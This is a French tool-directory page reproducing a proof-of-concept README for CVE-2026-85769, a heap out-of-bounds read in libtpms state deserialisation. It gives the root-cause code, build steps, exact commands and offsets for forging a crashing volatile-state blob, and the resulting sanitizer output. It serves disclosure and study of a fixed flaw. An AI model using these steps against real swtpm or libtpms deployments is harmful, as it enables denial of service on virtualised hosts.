Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-85769 — Preuve de concept d'exploitation pour CVE-2026-85769, une lecture hors limites du tas dans la désérialisation de l'état TPM 2.0 de libtpms, démontrant un déni de service via un blob d'état conçu. | Kitploit
Outils/GitHubGitHub/isukasanuj/cve-2026-85769
Sécurité des Systèmes EmbarquésAnalyse des VulnérabilitésExploitationFuzzingSécurité MatérielleAnalyse de Binaires
GitHubisukasanuj/cve-2026-85769

CVE-2026-85769

Preuve de concept d'exploitation pour CVE-2026-85769, une lecture hors limites du tas dans la désérialisation de l'état TPM 2.0 de libtpms, démontrant un déni de service via un blob d'état conçu.

Voir le dépôt
il y a 5h 12mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-85769

Lecture hors limites du tas dans la désérialisation de l'état volatile TPM 2.0 de libtpms.

Un saut de bloc optionnel non borné dans block_skip_read() avance le curseur de désérialisation d'une longueur de 16 bits contrôlée par l'attaquant et fait passer le compteur signé de taille restante en négatif. Tous les contrôles de bornes en aval passent alors, car ils convertissent cette valeur signée en non signée. Un blob d'état volatile falsifié et auto-somme-contrôlé, injecté via TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …), produit une lecture hors limites du tas et fait avorter le processus hébergeant libtpms — swtpm, dans un déploiement vTPM.

CVECVE-2026-85769
Composantsrc/tpm2/NVMarshal.c, src/tpm2/Unmarshal.c
CWECWE-125 ← CWE-191 (sous-dépassement d'entier) + CWE-195 (conversion signé vers non signé)
Versions concernéesmaster f7f072b2, v0.10.2 03ff2481, et versions antérieures contenant ce code
Corrigé9e1475ff — « tpm2: Add checks for *size < 0 before casting it to UINT32 » (PR #613)
CVSS 3.1AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 6.5 (Red Hat, Moderate)
Signalé2026-09-01, en privé au mainteneur

Cause racine

block_skip_read() ignore un bloc versionné optionnel en avançant le curseur d'analyse, sans vérifier la longueur par rapport aux octets restants :

root@kitploit:~
} else if (has_block && !needs_block) {
    /* byte stream has the data but we don't need them */
    *buffer += blocksize;      /* blocksize is a UINT16 from the blob */
    *size   -= blocksize;      /* *size is INT32 — goes negative */
    *skip_code = TRUE;
}

*size est signé. Une fois négatif, le garde-fou devant chaque lecture scalaire cesse de fonctionner :

root@kitploit:~
if ((UINT32)*size < sizeof(UINT16)) { return TPM_RC_INSUFFICIENT; }
root@kitploit:~
(UINT32)(-8000) = 0xFFFFE0C0 = 4294959296
4294959296 < 2  ->  false        /* guard passes */

Plus l'analyse dépasse l'allocation, plus *size devient négatif — et plus il paraît grand en non signé. Le même fichier contient déjà la forme correcte dans Array_Unmarshal, qui compare en signé.

La seule porte d'intégrité est un SHA-1 non authentifié ajouté au blob (src/tpm2/Volatile.c), donc le PoC le recalcule après falsification.

Surface d'attaque

Atteint via TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …) et la chaîne de restauration à la mise sous tension TPMLIB_MainInit → _TPM_Init → VolatileLoad.

Dans un déploiement swtpm, le chemin pertinent est la migration à chaud — CMD_GET_STATEBLOB / CMD_SET_STATEBLOB, pilotée par libvirt. L'hôte de destination analyse un blob d'état produit sur l'hôte source. Une --migration-key configurée n'atténue pas ce problème : la clé est partagée entre les deux hôtes, donc une source compromise la détient et produit un blob qui se déchiffre correctement. Elle protège contre un tiers interposé, pas contre un pair hostile.

Compilation

root@kitploit:~
git clone https://github.com/stefanberger/libtpms
cd libtpms
git checkout 03ff2481e133540be3b3ffe3daa1483d2a73d967   # v0.10.2, or ba73ab17 for pre-fix master

./autogen.sh --with-tpm1 --with-tpm2 --with-openssl \
    CFLAGS='-fsanitize=address -fno-omit-frame-pointer -g -O1' \
    LDFLAGS='-fsanitize=address'
make -j4

gcc -o poc_f3 poc_f3.c -I include -L src/.libs -Wl,-rpath,src/.libs -ltpms -lcrypto

Exécution

root@kitploit:~
export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0

# 1. dump a genuine state pair through the public API
./poc_f3 gen perm.bin vol.bin

# 2. forge the ORDERLY_DATA trailer at offset 173 and land 8 bytes past the allocation
./poc_f3 test perm.bin vol.bin 173 8610

# control: load the blob unmutated, expect rc=0
./poc_f3 test perm.bin vol.bin -1 0

8610 est dimensionné pour que le curseur atterrisse dans la redzone d'ASan plutôt que sur un pointeur sauvage :

root@kitploit:~
blocksize = (len − off − 3) + 8 = (8778 − 173 − 3) + 8 = 8610

Le décalage 173 est l'octet has_block de la fin skip_future_versions de ORDERLY_DATA. Il a été localisé en instrumentant block_skip_read() pour afficher le décalage pendant une analyse, et non en comptant les octets — le décalage varie avec le format d'état, donc redérivez-le si la longueur de votre blob diffère de 8778.

Notez que skip_self_heal_timer n'est pas une fin utilisable : ACCUMULATE_SELF_HEAL_TIMER YES dans TpmBuildSwitches.h signifie qu'il est émis avec needs_block = TRUE et prend la branche sûre.

Résultat

root@kitploit:~
==1905==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x525000007352
READ of size 1 at 0x525000007352 thread T0
    #0 in UINT16_Unmarshal           tpm2/Unmarshal.c:71
    #1 in NV_HEADER_UnmarshalVerbose tpm2/NVMarshal.c:419
    #2 in NV_HEADER_Unmarshal        tpm2/NVMarshal.c:453
    #3 in STATE_CLEAR_DATA_Unmarshal tpm2/NVMarshal.c:1302
    #4 in VolatileState_Unmarshal    tpm2/NVMarshal.c:3431
    #5 in VolatileState_Load         tpm2/Volatile.c:81
    #6 in TPM2_SetState              src/tpm_tpm2_interface.c:820
    #7 in TPMLIB_SetState            src/tpm_library.c:222

0x525000007352 is located 8 bytes after 8778-byte region [0x525000005100,0x52500000734a)

Le défaut apparaît dans UINT16_Unmarshal, pas dans block_skip_read — le saut avance le curseur et retourne sans lire. La corruption atterrit sur la lecture de structure suivante.

Contre le commit corrigé, chaque cas d'attaque retourne TPM_RC_INSUFFICIENT (0x9a) sans rapport ASan, et les blobs valides se restaurent toujours avec rc=0.

Impact

Déni de service du processus hébergeant libtpms, plus comportement indéfini.

La divulgation d'informations a été testée et exclue. Les petits dépassements sur une compilation sans ASan retournent TPM_RC_BAD_TAG (0x1e) à chaque fois :

root@kitploit:~
libtpms/tpm2: NV_HEADER_UnmarshalVerbose: Invalid magic. Expected 0x98897667, got 0x00000000

La lecture immédiatement après le dépassement est un NV_HEADER, dont la magie 32 bits doit correspondre à une constante fixe. Le tas adjacent satisfait cela avec p ≈ 2⁻³². L'analyse avorte, ClearAllCachedState() rejette tout, et aucun octet hors limites n'atteint TPMLIB_GetState. La confidentialité est donc C:N. L'examen de Red Hat est parvenu indépendamment à la même conclusion.

Chronologie

Crédit

Isuka Sanuj — CyberCrew Inc. (株式会社CyberCrew)

Signalé indépendamment par Leyao (ICT CAS), crédité sur la même CVE.

Remarques

Ce PoC est publié après que le problème a été corrigé en amont et que la CVE a été attribuée. Il cible une compilation locale d'une bibliothèque open source et ne fait rien de plus que déclencher l'analyse. Ne testez que ce que vous êtes autorisé à tester.

Licence

MIT

Télécharger l’outil
Date
2026-09-01Signalé en privé au mainteneur de libtpms
2026-09-04Même cause racine signalée publiquement et indépendamment par Leyao (ICT CAS) comme problème libtpms #614
2026-09-04Corrigé en amont dans 9e1475ff (PR #613) ; correctif vérifié contre ce PoC
2026-09-04Signalé à Red Hat Product Security
2026-09-04CVE-2026-85769 attribuée